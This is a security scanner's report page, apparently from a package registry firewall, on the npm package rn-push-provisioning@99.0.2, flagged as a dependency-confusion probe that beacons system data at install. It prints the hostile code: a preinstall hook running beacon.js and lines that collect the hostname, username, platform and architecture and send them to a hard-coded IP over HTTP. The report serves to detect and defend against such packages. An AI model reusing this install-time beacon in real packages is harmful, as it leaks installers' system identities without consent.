registry / Data exfiltration / rn-push-provisioning

rn-push-provisioning

Security research - dependency confusion proof of concept. Contact: liquid2@liquidsec.net

This report shows the evidence for rn-push-provisioning@99.0.2. 3 of 4 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is unconsented install-time collection and transmission of local system identity data to a hard-coded external endpoint. The package has no legitimate implementation beyond this beacon.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation, before the package is installed.

Impact

Leaks the installing host name, user name, platform, and CPU architecture to a third party.

Mechanism

Preinstall host fingerprinting and HTTP exfiltration.

Attack narrative

When npm installs the package, its preinstall hook executes beacon.js. The script gathers local host and user identifiers plus platform metadata, then sends them to a hard-coded IP address over unencrypted HTTP. The hook suppresses network errors and uses a shell fallback so installation can continue without notifying the user.

AI rationale

This is unconsented install-time collection and transmission of local system identity data to a hard-coded external endpoint. The package has no legitimate implementation beyond this beacon.

Evidence

package.jsonbeacon.jsindex.js

Network endpoints1

104.236.2.79:8888/npm-install

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

A preinstall hook runs beacon.js during npm installation.
The install script collects the host name, local user name, platform, and CPU architecture.
It sends the collected device data to a hard-coded external HTTP endpoint.

Evidence against

The package contains no additional runtime functionality or payload files.
No credential files, environment variables, shell commands, or destructive actions were found.

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 490 B of source, external domains: 104.236.2.79

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node beacon.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node beacon.js || true" }

High

Suspicious Lifecycle Evidence

A preinstall hook runs beacon.js during npm installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node beacon.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

5var q = [ 'h=' + encodeURIComponent(os.hostname()), 'u=' + encodeURIComponent(os.userInfo().username), 'p=' + process.platform, 'a=' + process.arch ].join('&');

High

Ai Review Evidence

The install script collects the host name, local user name, platform, and CPU architecture.

beacon.jsView on unpkg · L5

12http.get('http://104.236.2.79:8888/npm-install?' + q, function(r) { r.resume(); }).on('error', function() {});

High

Ai Review Evidence

It sends the collected device data to a hard-coded external HTTP endpoint.

beacon.jsView on unpkg · L12

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node beacon.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node beacon.js || true" }

High

Suspicious Lifecycle Evidence

A preinstall hook runs beacon.js during npm installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node beacon.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

Findings

4 High2 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to rn-push-provisioning@99.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing rn-push-provisioning@99.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-27 05:50:17.974Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

0.0.1-securitylatestClean—AllowPublishedAug 27, 2026, 11:01 AM 99.0.2shownMaliciousData ExfiltrationBlockPublishedAug 27, 2026, 5:30 AM 99.0.1MaliciousData ExfiltrationBlockPublishedAug 27, 2026, 5:24 AM 99.0.0MaliciousMalwareBlockPublishedAug 27, 2026, 5:12 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages